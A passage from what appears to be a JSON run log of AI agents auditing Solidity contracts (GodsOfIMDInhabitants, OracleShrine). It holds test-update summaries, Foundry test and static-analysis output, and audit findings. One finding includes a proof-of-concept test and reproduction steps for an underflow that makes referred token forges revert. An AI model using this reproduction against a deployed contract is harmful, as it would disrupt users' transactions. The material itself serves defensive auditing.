reverts RevealOutOfOrder(b, a) until a is re-armed and revealed.","severity":"low","title":"Forge-order reveals re-arm only the head, so an expired backlog drains one soul per two blocks"}],"hash":"933a38b30c6d7458398efe64273a4b2c5418fd5ebd759a5420fde2bb365fbc40","nodeId":"4effb382-3b0d-49a7-b3ea-d062acfe67cd","outcome":"completed","summary":"My tests from last round had stopped passing against the revised contracts. I've updated them to the new behaviour without weakening any check, added a suite for the new failure paths, and reported one low-severity liveness finding. `FOUNDRY_FUZZ_SEED=0xafac…d54b forge test` now passes all 146 tests in 22 suites, including both invariant campaigns (256 runs × 96 calls each).\n\n**Why they broke.** The revision changed three things:\n- Only the director can call `record` now.\n- A rewards week can only be settled by the intake's callback for the shrine's own request.\n- Souls must be revealed in the order they were forged.\n\nThat left 20 tests failing, all in my files.\n\n**Updated files:**\n- `test/RewardsStateMachine.t.sol`: every rewards answer now goes through the intake's 200,000-gas callback for the shrine's own request. It is first called directly so a revert shows its reason.\n- `test/OracleBoundaries.t.sol`: relays are sent by the director. When the question hash is tampered with, the test now expects `AnswerNotForRequest`, because that check runs before the signature check.\n- `test/invariant/RewardAccounting.t.sol`: every relay attempt in a random sequence must fail, with `NotDirector` for an outsider and `RewardsAnswerNotRelayable` for the director, and must record nothing.\n- `test/invariant/InhabitantsAccounting.t.sol`: the handler tracks the reveal queue in forge order. Revealing any soul other than the next in line must revert without changing anything. A new invariant checks after every call that `nextToReveal()` is the earliest-forged soul still unrevealed.\n- `test/TESTING.md`: the \"Reproduced findings\" section was out of date because both earlier findings are fixed. I replaced it with a note on this revision.\n\n**New `test/RevisionEdges.t.sol`:**\n- After a rewards question is unpinned and re-proposed, the old request can't settle the new week.\n- A callback refused for expiry or a missed quorum leaves the request pending and still tied to its question, so a later valid answer settles it.\n- After a failure notice, cancelling is the only way out of the week.\n- The 5-minute `issuedAt` limit is fuzzed through both the callback and the director's relay.\n- A soul whose reveal block hash has expired holds up fresher souls queued behind it.\n- A batch whose hashes have all expired clears only one soul at a time.\n\n**Finding (low), written to `.imd-findings.json`.** When a soul's reveal block hash has expired, `reveal()` only gives it a new reveal block (re-arms it), and only the next soul in line can be re-armed. After an outage of more than 256 blocks, a backlog of N souls takes about 2N blocks to clear: three expired souls took 7 blocks. Souls forged in the meantime wait behind the backlog, and if it is long enough they expire in turn. No soul or Mark is lost and the deck is never overdrawn. The fix would be to re-arm every expired soul in one call, which doesn't change reveal order. It's below high severity, so it carries no proof file. The test that measures it (`test_staleBatchDrainsOneSoulPerReArm`) passes, because it only asserts that clearing takes at least two blocks per soul.\n\nI didn't touch `src/`, the config or `lib/`, and nothing is committed.","treeHash":"1864623a27d42c34c17775b9c5b027d09501bb1b","usage":{"cachedInputTokens":1855373,"cost":{"source":"runtime","usdMicros":1674858},"inputTokens":46,"model":"claude-opus-5-5","outputTokens":24214,"runtime":"claude","turns":26,"wallClockMs":695110}},{"artifacts":[],"attempt":1,"bundleHash":"152f7fbb3f52d40bca12be065d67f5a6e673dcf46d56506298322bf55154c1b5","device":"e04b1c0f30c2612f","findings":[],"hash":"d875943299458bf38ad7ff18efc7e4705001074caee668597e37df2d36c56f32","nodeId":"4ea7ba31-720e-4e1f-bd46-bf955e9c66ca","outcome":"completed","summary":"`launch.json` already exactly matches the requested manifest and constructor ABIs; preserved unchanged.\n\nOffline build and all 83 tests passed with the supplied seed and a second seed. Deployment sizes passed.\n\nRemaining check failures are in existing files outside scope: test formatting differences and two Slither High findings—weak randomness and `incorrect-exp` in OpenZeppelin Math. No deliverable files changed.","treeHash":"487616254421c674872f7cef30aeef456aa4e209","usage":{"cachedInputTokens":367744,"cost":{"source":"estimated","usdMicros":1049844},"inputTokens":46605,"model":"gpt-6-astra","outputTokens":4321,"runtime":"codex","turns":5,"wallClockMs":173338}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"91d3f9816008ce9f","findings":[],"hash":"e070f3fe6416193cfc26a22003963f687130fab001d0feb2e2d64a94469ca8e7","nodeId":"da4c45a6-570e-4a88-b364-76acdf087a16","outcome":"failed","summary":"runtime failed","treeHash":null,"usage":{"cachedInputTokens":1731679,"cost":{"source":"estimated","usdMicros":1243192},"inputTokens":34,"model":"claude-opus-5-5","outputTokens":44836,"runtime":"claude","turns":0,"wallClockMs":510245}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"523b06a3dd921f5d","findings":[{"citation":"resolved","description":"The bound burnBps + referralBps <= BPS that keeps `price - burned - toReferrer` from going negative is checked in only one place: when a token is listed (_setForgeToken, line 651: `if (uint256(burnBps_) + referralBps > BPS) revert InvalidSplit(burnBps_, referralBps);`). setReferralBps (line 538) and setSplit (line 524) check referralBps only against payeePoolBps(), the IMD payee pool, and never against the forge tokens already listed. Because referralBps is shared between IMD forges and token forges, raising it within the IMD limit can push a listed token's burnBps + referralBps above 10000. After that, _payToken underflows on every forgeWithToken that names a valid referrer. The invariant holds when it is set and breaks through the other setter (boundary x invariant seam). No funds are lost because the whole transaction reverts, but referred token forges stop working (a broken guarantee) until the owner lowers referralBps or relists the token. The IMD forge path is not affected, because there referralBps <= payeePoolBps() keeps toReferrer <= toPayees.","line":375,"path":"src/GodsOfIMDInhabitants.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport \"forge-std/Test.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {GodsOfIMDInhabitants} from \"src/GodsOfIMDInhabitants.sol\";\n\ncontract MiniToken {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\ncontract ForgeTokenReferralUnderflowTest is Test {\n    GodsOfIMDInhabitants nft;\n    MiniToken imd;\n    MiniToken tok;\n    address owner = address(0xA11CE);\n    address payee = address(0xFEE);\n    address referrer = address(0x1111);\n    address minter = address(0x2222);\n\n    function setUp() public {\n        imd = new MiniToken();\n        tok = new MiniToken();\n        nft = new GodsOfIMDInhabitants(owner, IERC20(address(imd)), address(0x5111), address(0xB0B));\n        vm.startPrank(owner);\n        // accepted: 9500 + referralBps(500) <= 10000\n        nft.setForgeToken(address(tok), 100 ether, 900, 9500, payee);\n        // accepted: 1000 <= payeePoolBps() = 7000, but now 9500 + 1000 > 10000 for the listed token\n        nft.setReferralBps(1000);\n        nft.setPhase(GodsOfIMDInhabitants.Phase.Public);\n        vm.stopPrank();\n        tok.mint(referrer, 1000 ether);\n        tok.mint(minter, 1000 ether);\n        vm.prank(referrer);\n        tok.approve(address(nft), type(uint256).max);\n        vm.prank(minter);\n        tok.approve(address(nft), type(uint256).max);\n        vm.prank(referrer);\n        nft.forgeWithToken(address(tok), keccak256(\"ref soul\"), address(0)); // referrer now owns a soul\n    }\n\n    /// A referred forge in a listed token must not revert because of an accepted referralBps change.\n    function test_referredForgeWithTokenDoesNotUnderflow() public {\n        assertTrue(nft.isValidReferrer(referrer, minter));\n        vm.prank(minter);\n        uint256 id = nft.forgeWithToken(address(tok), keccak256(\"minter soul\"), referrer);\n        assertEq(nft.ownerOf(id), minter);\n        // shares never exceed the price\n        assertEq(tok.balanceOf(address(0xdEaD)) + tok.balanceOf(payee) + (tok.balanceOf(referrer) - 900 ether), 200 ether);\n    }\n}","reproduction":"Owner: setForgeToken(tok, 100e18, 900, 9500, payee), accepted because 9500 + 500 <= 10000. Owner: setReferralBps(1000), accepted because 1000 <= payeePoolBps() = 7000. Owner: setPhase(Public). Alice forges a soul with tok and no referrer, so she becomes a valid referrer. Bob calls forgeWithToken(tok, h, alice): burned = 95e18 and toReferrer = 10e18, so price - burned - toReferrer = 100e18 - 105e18 reverts with Panic(0x11). Expected: the forge succeeds, or the setter refuses the value. The listed SHIFT token hits the same failure: setSplit(0, 0, [payee 10000]) then setReferralBps(7001) gives 3000 + 7001 > 10000. A proof test fails today with 'panic: arithmetic underflow or overflow (0x11)'. Minimal fix, keeping the ABI: in setReferralBps and setSplit, require burnBps + referralBps_ <= BPS for every token in _forgeTokenList (at most a few). Alternatively, cap toReferrer at price - burned in _payToken.","severity":"low","snippet":"        uint256 burned = (price * t.burnBps) / BPS;\n        uint256 toReferrer = referrer != address(0) ? (price * referralBps) / BPS : 0;\n        uint256 toPayee = price - burned - toReferrer;","title":"setReferralBps / setSplit accept a referralBps that makes burnBps + referralBps exceed BPS for an already listed forge token, so every referred forgeWithToken in that token reverts with an arithmetic "}],"hash":"ea7ca8b210b6ebf0e7bf86d052a834e3ed6c79dcca597a12fcae88bbdf9d5a12","nodeId":"11fba0b8-1882-4cb6-893f-0803f2566edc","outcome":"completed","summary":"I found one defect in the math area, rated low, and wrote it to `.imd-findings.json` with a coverage row for all 57 entry points plus 4 for invariants. No source files were changed. The only things I wrote are the findings file and one test under `test/scratch/`, and git shows neither as a change.\n\n**Finding 1 (low): a referred forge paid in a listed token can revert** (`src/GodsOfIMDInhabitants.sol:375`)\n- **Cause:** paying with a forge token computes `price - burned - toReferrer`. That only stays non-negative if the token's burn share plus the referral share is at most 100%. The contract checks this when a token is listed, but `setReferralBps` and `setSplit` only compare the referral share with the IMD payee share. They never re-check the tokens already listed.\n- **Reproduction:** the owner lists a token at a 95% burn, which is accepted while the referral share is 5%. The owner then raises the referral share to 10%, which is also accepted because it is under the 70% IMD payee share. Every later `forgeWithToken` that names a valid referrer now reverts with an arithmetic underflow. SHIFT, listed at deploy with a 30% burn, breaks the same way if a later `setSplit` lets the referral share go above 70%.\n- **Impact:** no funds are lost, since the whole transaction reverts. Referred forges in that token stop working until the owner changes the settings again. Forges without a referrer and forges paid in IMD are not affected.\n- **Proof:** a self-contained Foundry test fails on the current code with exactly that underflow.\n- **Suggested fix (ABI unchanged):** make `setReferralBps` and `setSplit` check the new value against each listed token's burn share, or cap the referrer's cut at `price - burned`.\n\n**What I checked and found holding:**\n- **Payment splits:** for IMD forges, purchases, petitions and commissions, the shares always add up to the amount paid. The referrer's cut never exceeds the payees' share, and the last payee takes the rounding remainder. A purchase of under 10 wei pays nothing to the burn sink or shrine, which is harmless.\n- **Supply and ids:** paid souls take ids 1–900 and the owner's reserve takes 901–1000, with no overlap. Wallet caps behave as documented, including 0 meaning unlimited and allowlist holders' higher limit.\n- **Mark draw:** the 640/250/100/10 deck adds up to the 1000 supply, so the draw never divides by zero and no Mark goes over its count. The first reveal can read the block hash it needs, and an expired hash schedules a new block instead of drawing.\n- **Shrine rewards:** the reserved IMD always equals what is left in open reward weeks. Asking questions and owner withdrawals can only spend the unreserved balance. The time limits on cancelling and expiring weeks behave as documented.\n- **Oracle answers:** answers must pass the panel and quorum minimums, expire correctly, and are stored without truncating any field.\n- **Launch manifest:** `launch.json` matches the brief exactly.\n- **On-chain decimals:** SHIFT and IMD both use 18 decimals on Ethereum, so the hard-coded prices are at the right scale.\n- **Project tests:** all 83 pass.\n\n**Not covered in depth:** I did not re-examine whoever controls reveal order or timing steering a Mark. The contract's own comments flag it, and an earlier audit test exists for it. I also did not run any static analysis tools. The slither and aderyn lines I was given turned out to be expected behaviour or owner-only settings.","treeHash":null,"usage":{"cachedInputTokens":517346,"cost":{"source":"runtime","usdMicros":1169977},"inputTokens":16,"model":"claude-opus-5-5","outputTokens":20703,"runtime":"claude","turns":9,"wallClockMs":225325}}],"verification":[{"checks":[{"durationMs":4166,"exitCode":0,"name":"build","output":"Compiling 74 files with Solc 0.8.30\nSolc 0.8.30 finished in 4.06s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to view\n   --> test/Marks.t.sol:152:5:\n    |\n152 |     function test_noEarlyWaves() public {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":380,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/audit/WeakPanelRecord.t.sol:WeakPanelRecordTest\n[PASS] test_aThreeSeatPanelCannotApproveARewardWeekAskedOfThirty() (gas: 389387)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.06ms (474.57µs CPU time)\n\nRan 1 test for test/audit/RevealReroll.t.sol:RevealRerollTest\n[PASS] test_theRevealBlockDoesNotChooseTheMark() (gas: 1105499)\nLogs:\n  mark when revealed at the chosen block: 0\n  mark when revealed at another block: 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.53ms (985.42µs CPU time)\n\nRan 6 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_constructorsGiveTheOwnerEverything() (gas: 52430)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 489765)\n[PASS] test_constructorsWireTheTwoContracts() (gas: 59660)\n[PASS] test_genesisRulesAreBuiltIn() (gas: 75354)\n[PASS] test_onlyTheOwnerWires() (gas: 88551)\n[PASS] test_ownerWiringThenAFirstForgeSplitsThePrice() (gas: 726470)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.89ms (832.72µs CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] test_acceptsAFreshSignatureFromTheVectorKey() (gas: 228870)\n[PASS] test_acceptsTheProtocolSignatureUnderStipend() (gas: 261557)\n[PASS] test_callbackSelectorIsCanonical() (gas: 485)\n[PASS] test_digestMatchesTheProtocol() (gas: 10852)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 2.38ms (830.36µs CPU time)\n\nRan 6 tests for test/Caps.t.sol:CapsTest\n[PASS] test_cannotClaimSeerSlotsWithoutTheLeaf() (gas: 153825)\n[PASS] test_listSpotIsOneEarlySoulThenTwentyInAll() (gas: 4263599)\n[PASS] test_publicStopsAtTwenty() (gas: 4123400)\n[PASS] test_seerCapCountsEveryForge() (gas: 5217016)\n[PASS] test_seerForgesTwentyFiveAtFour() (gas: 5518187)\n[PASS] test_twentyPerWalletIsBuiltIn() (gas: 7680)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 4.52ms (10.10ms CPU time)\n\nRan 7 tests for test/InhabitantsSecurity.t.sol:InhabitantsSecurityTest\n[PASS] testFuzz_copyCannotBlockAnyForgePath(bytes32,uint8) (runs: 256, μ: 592604, ~: 596217)\nLogs:\n  Bound result 1\n\n[PASS] testFuzz_staleRevealNeverDrawsFromKnownFallback(uint256,bytes32) (runs: 256, μ: 360738, ~: 360919)\nLogs:\n  Bound result 859033\n\n[PASS] test_duplicateCannotSwitchPaymentPathsOrBeResetByTransfer() (gas: 618537)\n[PASS] test_hashAt256BlocksStillReveals() (gas: 405791)\n[PASS] test_revealManyProcessesFreshAndStaleSoulsAndSkipsDuplicates() (gas: 826930)\n[PASS] test_staleRevealRearmsAndLaterRevealsExactlyOnce() (gas: 600235)\n[PASS] test_zeroSoulStillRejectedBeforeNamespacing() (gas: 76700)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 16.93ms (30.88ms CPU time)\n\nRan 11 tests for test/Bazaar.t.sol:BazaarTest\n[PASS] testFuzz_splitIsExact(uint256) (runs: 256, μ: 286435, ~: 288673)\nLogs:\n  Bound result 900000000000000000000\n\n[PASS] test_emitsPurchased() (gas: 139710)\n[PASS] test_itemsFollowTheTokenToItsNewOwner() (gas: 221120)\n[PASS] test_memorialSoulCannotBuy() (gas: 121563)\n[PASS] test_needsTheAllowance() (gas: 135954)\n[PASS] test_onlyTheOwnerMayBuy() (gas: 43013)\n[PASS] test_splitFollowsSetSplit() (gas: 212624)\n[PASS] test_splitIsExactWithRoundingDust() (gas: 285178)\n[PASS] test_splitIsExactlyTheForgeSplit() (gas: 285209)\n[PASS] test_unknownSoulReverts() (gas: 40218)\n[PASS] test_zeroAmountReverts() (gas: 44433)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 20.17ms (20.02ms CPU time)\n\nRan 9 tests for test/Reserve.t.sol:ReserveTest\n[PASS] test_aReservedSoulCanBeGivenAway() (gas: 264889)\n[PASS] test_fiftyInOneTransactionFitsABlock() (gas: 9936004)\nLogs:\n  gas for 50 reserved souls: 4977089\n\n[PASS] test_manyInOneTransaction() (gas: 10031207)\n[PASS] test_onlyTheOwnerForgesReserved() (gas: 35178)\n[PASS] test_paidSoulsTakeIdsFromOne() (gas: 1004701)\n[PASS] test_reserveIsAHundredOfTheThousand() (gas: 20486)\n[PASS] test_reserveStopsAtAHundred() (gas: 14226045)\n[PASS] test_reservedIsFreeInAnyPhaseAndTakesTheLastIds() (gas: 403650)\n[PASS] test_reservedSoulsAreUniqueAndReveal() (gas: 396760)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 24.94ms (8.16ms CPU time)\n\nRan 12 tests for test/Shift.t.sol:ShiftTest\n[PASS] test_aNewTokenCanBeListedLater() (gas: 1131560)\n[PASS] test_aReferrerGetsFivePercent() (gas: 606815)\n[PASS] test_aSoulForTwoHundredThousandShift() (gas: 388761)\n[PASS] test_badSettingsAreRefused() (gas: 119256)\n[PASS] test_idsAreSharedWithForgesInImd() (gas: 913587)\n[PASS] test_imdIsSharedAndShiftGoesToItsPayeeAlone() (gas: 889975)\n[PASS] test_needsTheTokenAllowance() (gas: 252028)\n[PASS] test_onlyInThePublicPhase() (gas: 141639)\n[PASS] test_shiftIsListedAtDeploy() (gas: 33655)\n[PASS] test_theOwnerSetsPriceCapBurnAndPayee() (gas: 957387)\n[PASS] test_theWalletCapCountsBoth() (gas: 4049727)\n[PASS] test_withoutTheTokenOnThisChainItReverts() (gas: 192033)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 32.37ms (4.52ms CPU time)\n\nRan 15 tests for test/OracleSecurity.t.sol:OracleSecurityTest\n[PASS] testFuzz_panelFloorsApplyToEveryRelay(uint16,uint16,uint16) (runs: 256, μ: 339151, ~: 333488)\nLogs:\n  Bound result 90\n  Bound result 14\n  Bound result 38\n\n[PASS] test_agreementFloorIsIndependentOfQuorum() (gas: 353481)\n[PASS] test_callbackRejectsWrongSenderUnknownAndSettledRequests() (gas: 581489)\n[PASS] test_defaultPanelPolicy() (gas: 22772)\n[PASS] test_failureMovesNoFundsAndUnansweredRewardsCanBeCancelled() (gas: 593878)\n[PASS] test_falseAnswerIsStoredUnderStipendAndReleasesRewards() (gas: 651774)\n[PASS] test_invalidPanelPoliciesAndZeroActionRevert() (gas: 109772)\n[PASS] test_onlyOwnerSetsPolicyAndAction() (gas: 60272)\n[PASS] test_ownerCanRaisePolicyAndAcceptLargerPanel() (gas: 497562)\n[PASS] test_ownerMigratesRewardsActionAfterRetirement() (gas: 1678756)\n[PASS] test_ownerWithdrawsOnlyFreeBalance() (gas: 564294)\n[PASS] test_smallPanelCannotBypassWithEnoughAgreement() (gas: 320331)\n[PASS] test_threeSeatRelayCannotActivateOrRejectRewards() (gas: 608821)\n[PASS] test_unpinnedExpiredAndTamperedAnswersCannotSettle() (gas: 412995)\n[PASS] test_weakCallbackLeavesRequestPendingThenStrongCallbackSucceeds() (gas: 887063)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 32.57ms (32.75ms CPU time)\n\nRan 1 test for test/OracleSecurity.t.sol:OracleCallbackGasTest\n[PASS] testFuzz_listDeliveryAndRecordRecovery(uint8,bool) (runs: 256, μ: 740717, ~: 815429)\nLogs:\n  Bound result 7\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 46.03ms (45.40ms CPU time)\n\nRan 4 tests for test/EthereumDeployment.t.sol:EthereumDeploymentTest\n[PASS] test_everyConstructorAddressRejectsZero() (gas: 459656)\n[PASS] test_exactEthereumArgumentsAndOwnerRoles() (gas: 133929)\n[PASS] test_factoryHasNoOwnerPowers() (gas: 65101)\n[PASS] test_runtimesMeetProtectedSizeAndOpcodeRules() (gas: 15972065)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 96.92ms (93.49ms CPU time)\n\nRan 6 tests for test/Marks.t.sol:MarksTest\n[PASS] test_cannotRevealBeforeTheHashExists() (gas: 481122)\n[PASS] test_everySoulDrawsWithTheSameOdds() (gas: 19713734)\n[PASS] test_fullDeckComesOutExactly() (gas: 251754819)\n[PASS] test_genesisRulesAreBuiltIn() (gas: 93838)\n[PASS] test_noEarlyWaves() (gas: 5627)\n[PASS] test_revealManySkipsWhatIsNotReady() (gas: 594436)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 260.52ms (272.77ms CPU time)\n\nRan 13 test suites in 262.14ms (541.84ms CPU time): 83 tests passed, 0 failed, 0 skipped (83 total tests)\n","passed":true},{"durationMs":57,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"GodsOfIMDInhabitants.approve(address,uint256)\",\"GodsOfIMDInhabitants.commission(uint256,uint8,bytes32)\",\"GodsOfIMDInhabitants.forge(bytes32,address)\",\"GodsOfIMDInhabitants.forgeAllowlist(bytes32,address,uint256,bytes32[])\",\"GodsOfIMDInhabitants.forgeReserved(bytes32)\",\"GodsOfIMDInhabitants.forgeReservedMany(bytes32[])\",\"GodsOfIMDInhabitants.forgeWithToken(address,bytes32,address)\",\"GodsOfIMDInhabitants.petition(uint256,bytes32)\",\"GodsOfIMDInhabitants.purchase(uint256,bytes32,uint256)\",\"GodsOfIMDInhabitants.refresh(uint256)\",\"GodsOfIMDInhabitants.refreshAll()\",\"GodsOfIMDInhabitants.renounceOwnership()\",\"GodsOfIMDInhabitants.reveal(uint256)\",\"GodsOfIMDInhabitants.revealMany(uint256[])\",\"GodsOfIMDInhabitants.safeTransferFrom(address,address,uint256)\",\"GodsOfIMDInhabitants.safeTransferFrom(address,address,uint256,bytes)\",\"GodsOfIMDInhabitants.setAddresses(address,address)\",\"GodsOfIMDInhabitants.setAllowlistRoot(bytes32)\",\"GodsOfIMDInhabitants.setApprovalForAll(address,bool)\",\"GodsOfIMDInhabitants.setBaseURI(string)\",\"GodsOfIMDInhabitants.setForgeToken(address,uint256,uint256,uint16,address)\",\"GodsOfIMDInhabitants.setMaxPerWallet(uint256)\",\"GodsOfIMDInhabitants.setMemorial(uint256,bytes32)\",\"GodsOfIMDInhabitants.setOracleCost(uint256)\",\"GodsOfIMDInhabitants.setPayees((address,uint16)[])\",\"GodsOfIMDInhabitants.setPhase(uint8)\",\"GodsOfIMDInhabitants.setPrices(uint256,uint256,uint256,uint256)\",\"GodsOfIMDInhabitants.setReferralBps(uint16)\",\"GodsOfIMDInhabitants.setRoyalty(address,uint96)\",\"GodsOfIMDInhabitants.setSplit(uint16,uint16,(address,uint16)[])\",\"GodsOfIMDInhabitants.setSteward(address)\",\"GodsOfIMDInhabitants.transferFrom(address,address,uint256)\",\"GodsOfIMDInhabitants.transferOwnership(address)\",\"OracleShrine.anchor(uint64,bytes32,bytes32)\",\"OracleShrine.ask(bytes32,bytes,bytes32[],uint8)\",\"OracleShrine.askRewards(uint64,bytes32,uint256,bytes,bytes32)\",\"OracleShrine.cancelRewards(uint64)\",\"OracleShrine.claim(uint64,address,uint256,bytes32[])\",\"OracleShrine.expireRewards(uint64)\",\"OracleShrine.finalizeRewards(uint64)\",\"OracleShrine.onFailure(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"OracleShrine.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"OracleShrine.onResult(bytes32,bytes32,string)\",\"OracleShrine.record((bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"OracleShrine.rejectRewards(uint64)\",\"OracleShrine.renounceOwnership()\",\"OracleShrine.setDirector(address)\",\"OracleShrine.setIntake(address)\",\"OracleShrine.setMaxRewardBps(uint16)\",\"OracleShrine.setMinQuorum(uint16)\",\"OracleShrine.setPanelMinimums(uint16,uint16)\",\"OracleShrine.setPrice(uint256)\",\"OracleShrine.setRewardsAction(bytes32)\",\"OracleShrine.setSigner(address)\",\"OracleShrine.transferOwnership(address)\",\"OracleShrine.unpin(bytes32[])\",\"OracleShrine.withdraw(address,address,uint256)\"],\"files\":{\".gitignore\":3,\"ADAPTATION.md\":48,\"LICENSE\":21,\"README.md\":64,\"foundry.toml\":12,\"launch.json\":1,\"remappings.txt\":2,\"src/GodsOfIMDInhabitants.sol\":780,\"src/OracleShrine.sol\":678,\"src/interfaces/IIntake.sol\":21,\"test/Bazaar.t.sol\":178,\"test/Caps.t.sol\":129,\"test/EthereumDeployment.t.sol\":162,\"test/InhabitantsSecurity.t.sol\":179,\"test/Launch.t.sol\":124,\"test/Marks.t.sol\":156,\"test/OracleConformance.t.sol\":85,\"test/OracleSecurity.t.sol\":261,\"test/Reserve.t.sol\":167,\"test/Shift.t.sol\":244,\"test/audit/RevealReroll.t.sol\":89,\"test/audit/WeakPanelRecord.t.sol\":107,\"test/helpers/OracleFixture.sol\":128},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":3554,"exitCode":0,"name":"slither","output":"[high/medium] weak-prng at src/GodsOfIMDInhabitants.sol:717: GodsOfIMDInhabitants._draw(uint256) (src/GodsOfIMDInhabitants.sol#717-733) uses a weak PRNG: \"r = rand % total (src/GodsOfIMDInhabitants.sol#724)\"\n[medium/high] incorrect-equality at src/GodsOfIMDInhabitants.sol:445: GodsOfIMDInhabitants.reveal(uint256) (src/GodsOfIMDInhabitants.sol#445-463) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/GodsOfIMDInhabitants.sol:445: GodsOfIMDInhabitants.reveal(uint256) (src/GodsOfIMDInhabitants.sol#445-463) uses a dangerous strict equality:\n[medium/medium] uninitialized-local at src/GodsOfIMDInhabitants.sol:675: GodsOfIMDInhabitants._forge(bytes32,address,uint256).s (src/GodsOfIMDInhabitants.sol#675) is a local variable never initialized\n[medium/medium] uninitialized-local at src/GodsOfIMDInhabitants.sol:765: GodsOfIMDInhabitants._setPayees(GodsOfIMDInhabitants.Payee[]).sum (src/GodsOfIMDInhabitants.sol#765) is a local variable never initialized\n[medium/medium] uninitialized-local at src/GodsOfIMDInhabitants.sol:719: GodsOfIMDInhabitants._draw(uint256).total (src/GodsOfIMDInhabitants.sol#719) is a local variable never initialized\n[medium/medium] uninitialized-local at src/GodsOfIMDInhabitants.sol:718: GodsOfIMDInhabitants._draw(uint256).w (src/GodsOfIMDInhabitants.sol#718) is a local variable never initialized\n[low/medium] missing-zero-check at src/GodsOfIMDInhabitants.sol:271: GodsOfIMDInhabitants.constructor(address,IERC20,address,address).owner_ (src/GodsOfIMDInhabitants.sol#271) lacks a zero-check on :\n[low/medium] missing-zero-check at src/GodsOfIMDInhabitants.sol:513: GodsOfIMDInhabitants.setRoyalty(address,uint96).receiver (src/GodsOfIMDInhabitants.sol#513) lacks a zero-check on :\n[low/medium] reentrancy-benign at src/OracleShrine.sol:596: Reentrancy in OracleShrine._buy(bytes32,bytes,uint256) (src/OracleShrine.sol#596-607):\n[low/medium] reentrancy-events at src/OracleShrine.sol:289: Reentrancy in OracleShrine.askRewards(uint64,bytes32,uint256,bytes,bytes32) (src/OracleShrine.sol#289-323):\n[low/medium] reentrancy-events at src/OracleShrine.sol:266: Reentrancy in OracleShrine.ask(bytes32,bytes,bytes32[],uint8) (src/OracleShrine.sol#266-280):\n[low/medium] timestamp at src/OracleShrine.sol:425: OracleShrine.cancelRewards(uint64) (src/OracleShrine.sol#425-432) uses timestamp for comparisons\n[low/medium] timestamp at src/OracleShrine.sol:631: OracleShrine._record(OracleShrine.Attestation,bytes) (src/OracleShrine.sol#631-657) uses timestamp for comparisons\n[low/medium] timestamp at src/OracleShrine.sol:589: OracleShrine._pin(bytes32,uint8) (src/OracleShrine.sol#589-593) uses timestamp for comparisons\n[low/medium] timestamp at src/OracleShrine.sol:452: OracleShrine.expireRewards(uint64) (src/OracleShrine.sol#452-459) uses timestamp for comparisons","passed":true},{"durationMs":665,"exitCode":0,"name":"aderyn","output":"[low] centralization-risk at src/GodsOfIMDInhabitants.sol:43: Centralization Risk (28 places)\n[low] costly-loop at src/GodsOfIMDInhabitants.sol:401: Costly operations inside loop (5 places)\n[low] large-numeric-literal at src/GodsOfIMDInhabitants.sol:80: Large Numeric Literal (3 places)\n[low] literal-instead-of-constant at src/GodsOfIMDInhabitants.sol:283: Literal Instead of Constant (4 places)\n[low] local-variable-shadowing at src/GodsOfIMDInhabitants.sol:128: Local Variable Shadows State Variable\n[low] non-reentrant-not-first at src/GodsOfIMDInhabitants.sol:387: `nonReentrant` is Not the First Modifier (2 places)\n[low] push-zero-opcode at src/GodsOfIMDInhabitants.sol:2: PUSH0 Opcode (3 places)\n[low] require-revert-in-loop at src/GodsOfIMDInhabitants.sol:401: Loop Contains `require`/`revert` (7 places)\n[low] state-no-address-check at src/GodsOfIMDInhabitants.sol:279: Address State Variable Set Without Checks (3 places)\n[low] state-variable-could-be-immutable at src/GodsOfIMDInhabitants.sol:111: State Variable Could Be Immutable (2 places)\n[low] unchecked-return at src/GodsOfIMDInhabitants.sol:402: Unchecked Return (3 places)\n[low] uninitialized-local-variable at src/GodsOfIMDInhabitants.sol:770: Uninitialized Local Variable\n[low] unspecific-solidity-pragma at src/GodsOfIMDInhabitants.sol:2: Unspecific Solidity Pragma (3 places)","passed":true}],"detail":"all checks 